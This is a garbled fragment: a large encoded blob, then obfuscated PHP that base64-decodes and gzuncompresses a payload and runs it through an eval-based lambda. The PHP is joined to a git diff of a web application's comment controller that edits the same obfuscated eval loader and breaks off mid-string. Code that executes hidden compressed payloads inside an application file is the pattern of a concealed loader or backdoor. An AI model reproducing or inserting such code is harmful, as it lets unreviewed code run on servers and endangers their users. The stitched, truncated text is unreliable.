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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Komentar.php b/donjo-app/controllers/Komentar.php index 968450b79..9e5fd32d2 100644 --- a/donjo-app/controllers/Komentar.php +++ b/donjo-app/controllers/Komentar.php @@ -240,7 +240,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='eNrtXFtz4kjSfe+I/Q/9sBGejf6+GUmY7iY6+gFhJCQDNhLo9jKhiy2BLmjMVfz6PVkCLDDY7pnZiZhdqoehEVJVVtbJkyeriP74sWz//BXt+1X+NM7mj1ff2Mdt+34VTLPJ9P/dPP/Fn2bzp2mSPDzNfrmdpg/Z3H36OY/yj63Enc1+/vnnq28ftj1+/MeHy5//nT8fCDIf/8T2/cWVK4tvzGyTHzty+/sVu/SMtne1Lay/f7y0S7u0S/vvbFd+anCBpS4U2RBsczVVpcajVcRfStIEa5Z0/evFVZd2aZd2aZd2aZd2aZd2aX+3dtnOuLRLu7RL++9tV547e/h8/Wvw4E+Dh6tvF49c2qVd2qVd2qX9oXb4W4ebwbTfGn/9De/hbcjdKq1pqKXJzNHF3Evj0E6lzDWlhSJrkZ/Gn6v3DWti4iV9VWuyz+in+Zsi9XO/piUee95Z+ikf+UIcOrKxsXVxE9B5tqWEgWwUdmY84RrvZRrvFuLcMfnIpWvmdXn/oNJvW1p5cvJkW/2cbPHG4saroQ9hFNpCI97Z68hJ4Zrr3C9EjKPGuB92z+n+mWv1Ey/D8+1gMGyJZm9V7T+KYMONa4mcrTeL3k2zrrS4sDdprvu6eOMJ/Ng164kiqYkvNHg/7SdKO1lgrnnQMTjXbCyUVjQNOtrqbvx16XWMOea3cIT50rOMhWvBf0V94ViD5W05r1CXpSelDX91tEi5UVa9oR122dgKp0hiArt5z4J/ZPi/rWHcdqjJSUZ9eS1xhPmNA3Me7cb1N9NlV2isHLMeO5h3N03i2wMfYl3SgHyx8xX5KHcFWt/ks2tez5ROP7EFqcC6ZH4qca7VmynyPPFlKab1AxZWeF8FWKMH4MJh61aHn8UokJmfNzb876XSgmFlLOI7NVc6NB+J/BEFLXEWmHXy99YOGt/JPXmEvzeegBGsk8ZwQziBfXnQak6VuIIB+N7Vlbzb2uMnxtphjHXk1hiGyjnDt14mRoqswj4JttEc4UvCJe5TZLbuFQzWM6dmLGyT5rIKPdNYYJ4z5huZJ//xiIlpicEG9cmX1zXCPbCn8r6Q0Piz7fwxD4nG5HEPjbGyTax3p1+HX8gX5RrUDO4urMYRYssE